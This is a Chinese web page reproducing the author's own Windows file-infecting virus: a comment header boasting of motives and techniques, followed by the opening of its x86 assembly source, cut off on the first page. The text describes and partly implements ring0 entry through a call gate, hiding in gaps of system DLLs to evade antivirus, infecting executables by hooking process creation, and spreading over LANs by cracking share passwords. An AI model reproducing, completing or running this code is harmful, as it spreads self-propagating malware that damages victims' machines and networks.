【相关文章:浅谈及实战Web Service 】
【扩展阅读:Linux备份策略研究】 【扩展信息:获得CPU的信息】;写毒目的:
;1,崇拜陈盈豪,欲与cih一比高低; ;2,传播技术,提高国人的水平(如果你把源程序读懂,并跟踪一遍病毒,你的技术会大大提高); ;3,让世界知道中国还是有人的;;相关技术:
;1,进入ring0:在win98用与cih一样的技术,直接往gdt添加callgate;在win 2000/xp/2003里把 ; callgate写入ntldr里,重启后生效(独创技术,这也是windows 2000/xp/2003的一个漏洞)。 ;2,驻留内存:由于所有dll模块装入内存后,在文件头只使用1k空间,还有3k空间剩余,所以本病毒 ; 把自身的3k放入kernel32.dll的空隙里,剩下2k放在user32.dll里,但win98比较特殊,剩下2k用vxd的 ; _pageallocate分配空间。本毒驻留不靠建立进程与globalalloc内存,而是插入模块的空隙里,因此在 ; 任务管理器里是看不到病毒的,更终止不了它在内存感染文件,所以本病毒难杀就难在这里!很多杀毒 ; 软件要么找不到本病毒,即使找到了也杀不了或杀不干净,束手无策(独创技术)。 ;3,拦截文件操作:为了在win98与win 2000/xp/2003里通用,采用拦截createprocess函数的方法感染pe文 ; 件(独创技术)。 ;4,局域网传播:用自身的密码生成器破解远程主机的共享密码,成功后把病毒复制到对方的启动文件夹中。 ;5,电子邮件传播:呵呵,目前还没有此项功能!;危害估计:
;1,影响中毒者的正常操作; ;2,由于每运行一个程序就建立一个感染局域网线程,这些线程都用到mpr模块,估计运行几个程序后mpr会 ; 崩溃,引起非法操作(找比尔.盖茨去吧,谁叫他给你的mpr不堪负重?); ;3,绝对没有破坏数据,覆盖bios,窃取信息资料等恶意行为。; 俺的技术也在不断提高,也许还有下一个更厉害的病毒哦,呵呵
.586p .model flat,stdcall option casemap:none include windows.inc include kernel32.inc include user32.inc include advapi32.inc include mpr.inc includelib kernel32.lib includelib user32.lib includelib advapi32.lib includelib mpr.lib virussize = offset virusend-offset virusstart virussizep1 = offset _othermemposition-offset virusstart ;本毒在内存的感染pe文件部分 virussizep2 = virussize-virussizep1 ;本毒的后半部分,不活动 .code virusstart: nop pushfd pushaddb 0e8h,0,0,0,0 ;这是一条call命令,在这里相当于push eip
pop ebx ;ebx=ebx指令在内存的实际地址 mov edx,ebx mov eax,ebx sub ebx,$-5 ;实际地址-设计地址=地址差=重定位值=ebx sub edx,8 call _getmoduleaddress ;取得本进程的装载地址 add eax,[eax+3ch] mov lpoldpe[ebx],eax sub edx,[eax+28h] sub edx,[eax+34h] add virusexit[ebx],edx ;edx=本进程的重定位值,修正原来程序入口mov eax,[esp+24h]
call _getmoduleaddress ;取得hkernel32 mov hkernel32[ebx],eax mov callgatesel[ebx],103hcall _getc3address ;在kernel32.dll模块中查找ret(0xc3)的地址
lea esi,[ebx+functionnametab+8] ;首先取得loadlibrarya,getprocaddress,getversion的地址
lea edi,functionaddresstab[ebx] mov ecx,3 @@: lodsd add eax,ebx push eax push hkernel32[ebx] call _getprocaddress stosd loop @bcall dwgetversion[ebx]
shr eax,31 mov dwversion[ebx],eax ;windows 版本放入dwversion变量,98=1,2000/xp/2003=0call _iswindows9x ;如果是win98马上往gdt中添加callgate
lea esi,[ebx+functionnametab+4*7]
mov ecx,4 @@: lodsd add eax,ebx .if dwversion[ebx] mov byte ptr [eax-2],´a´ .else mov byte ptr [eax-2],´w´ .endif loop @b ;处理ansi/unicode api函数名call _processimporttab ;导入所有api函数
lea eax,szuser32[ebx]
push eax call dwloadlibrary[ebx] mov huser32[ebx],eaxxor edx,edx
lar edx,callgatesel[ebx] .if dh!=0ech ;如果是第一次感染2000/xp/2003,把callgate写入ntldr,感染桌面的快捷方式对应的exe文件,等待重新启动callgate生效push 4
lea eax,szntldr[ebx] push eax call _editfilecall _editlnkfile
.else ;如果是win98或内存中有callgate的2000/xp/2003,就进入ring0
dw 9bffh dd offset callgatesel-4 mov eax,esp mov esp,[esp+4] ;切换堆栈 push eaxmov eax,cr0
btr eax,16 mov cr0,eax ;去掉kernel32模块只读内存页的写保护mov eax,lpoldpe[ebx]
mov edx,dwoldentry[ebx] mov [eax+28h],edx mov edx,dwoldimage[ebx] mov [eax+50h],edx ;恢复进程的入口与映像大小,避过某些程序的自我保护mov edi,hkernel32[ebx]
add edi,[edi+3ch] mov edi,[edi+54h] add edi,hkernel32[ebx] mov lpmemposition1[ebx],edi lea esi,virusstart[ebx] mov ecx,10h repz cmpsb ;判断病毒是否已经在内存.if !zero? ;not in mem
.if dwversion[ebx] ;不在内存 push 0fh push 0 push -1 push 0 push 0 push 0 ... 下一页